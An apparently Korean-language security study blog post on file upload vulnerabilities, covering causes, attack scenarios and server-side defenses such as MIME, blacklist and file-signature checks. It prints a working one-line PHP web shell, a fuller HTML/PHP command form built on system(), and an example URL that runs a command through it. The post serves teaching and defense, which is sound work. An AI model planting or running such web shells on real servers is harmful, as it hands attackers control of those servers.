File upload 공격이란

공격자가 원하는 임의의 파일을 업로드 할 수 있는 취약점이다.

발생 이유

> 클라이언트 측 데이터를 신뢰하면서 검증이 없기 때문에 발생하게 된다.

 

* 취약 조건
- 서버 측 실행 파일 업로드
- 업로드한 파일을 실행할 수 있느냐

** Web shell 
-서버 측 실행 코드
 
Webl shell을 장학한다는 것은 내가 원하는 파일 실행 및 이동등의 명령어를 실행 가능하다는 것을 의미한다.
대표적은 웹셀 코드로는 system(), eval() 등이 있다.
아래 코드는 한줄 웹셀로 cmd 라는 변수를 get 방식으로 받아서 system 웹셀을 작동시키는 코드이다. 이 것을 업로드 후 실행을 시킬 수 있어야 유효한 코드가 된다.

* One Line Web Shell
<?php system($_get['cmd']); ?>

그럼 어떻게 실행이 가능할까? 그것은 경로를 우선 파악한다면 html에 해당 경로로 php파일을 작동시켜 ?cmd="원하는 명령어"를 추가로 붙여 cmd 라는 변수를 get으로 전달하여 한줄 웹 쉘을 실행하여 서버를 장악할 수 있게 되는 것이다.

만약 일일히 치는게 귀찮다면, 아래 코드와 같이 자동으로 넣어서 input에 따른 값을 출력하게 하면 된다.

<html>

<body>
    <form method="GET">
        <input type="text" name='cmd' id='cmd' size="100">
        <input type="submit" value='제출'>
    </form>
    <pre>
    <?php
	if (isset($_GET['cmd'])) {
		system($_GET['cmd']);
	}  else {
    echo "<h1> 입력 후 출력해주세요</h1>";
    }
	?>
	</pre>
</body>

</html>

 아래와 같은 창을 작동시킬 수 있게 된다.

위 코드는 ls ../../ ls명령어를 실행했을 때 서버의두번째 전경로에 어떠한 파일이 있는지 보여준다.

위 코드는 

http://server/uploads/tyrell/last3.php?cmd=ls+..%2F..%2F

위와 같은 url로 작동하게 된다.

POST 방식은 여기서 사용안한게 변수를 계속 전달해줘야하는데 POST 방식은 서버로 올릴때 마다 파일의 내부 변수를 계속 바꿔야 하기 때문에 번거롭다. 그래서 get방식 사용!

이 모든 것이 사용가능했던 이유는 경로를 찾아서 해당 내가 업로드한 php 파일을 찾을 수 있었기 때문에 이것이 가능했던 것이다. 그렇기 때문에 공격을 하기 위해서는 아래 1,2번 과정을 우선 수행해야할 것이다.
(1) File Upload
(2) 업로드한 파일 경로 찾기

File upload 공격으로 일어날 수 있는 시나리오

(1) 서버 측 실행 파일 업로드
--> web shell, 서버 장악이 가능하다.

(2) phising page 
--> HTML 파일 업로드,
로그인 페이지가 아닌 똑같은 style의 피싱 로그인 페이지로 이동시킴

(3) Deface 공격
--> index.html를 덮어씌워서 공격한다.

(4) XSS 공격(Stored)
--> HTML 파일 업로드 가능하기 때문에 XSS도 가능

(5) Dos()
--> 용량이 큰 파일들을 서버에 저장시켜 다른사람들이 사용하지 못하도록 막을 수 있다.

 

위와 같은 시나리오를 막기 위한 검증 방법이 존재한다.

검증은 항상 서버측에서 이루어져야 한다.

(1) MIME(Multipurpose Internet Mail Extensions) 검증

즉 서버로 파일이 올라갈 때 Content-type이라는 것이 같이 올라가는데 파일의 타입을 확인하는 것이다. 이것이 png 와 같은 사진 타입이면 올리고 서버에 영향을 줄 수 없는 파일 타입경우는 통과시키는 것이다.

 

(2) 블랙 리스트 필터링

> php, jsp, asp  를 못올리게 막는다.

 

(3) File Signiture

압축 파일이나 이미지  파일, 텍스트 파일들의 경우 자신이 무슨 파일인지 알려주는 헤더가 존재한다. 이를 편집하여 <?php ?> 를 삽입하면 우회하기 때문에 이를 막는 방법이 필요하다.

'Web > Web 보안' 카테고리의 다른 글

[File Upload ] 대응방안 정리  (0) 2022.06.03
[ Burp suit] File upload 문제 5 풀이 마지막  (0) 2022.06.02
[CSRF] 공격 방법 및 대응 방안  (0) 2022.05.23
XSS, CRSF  (0) 2022.05.12
SQL Injection 접근 방법  (0) 2022.04.10

+ Recent posts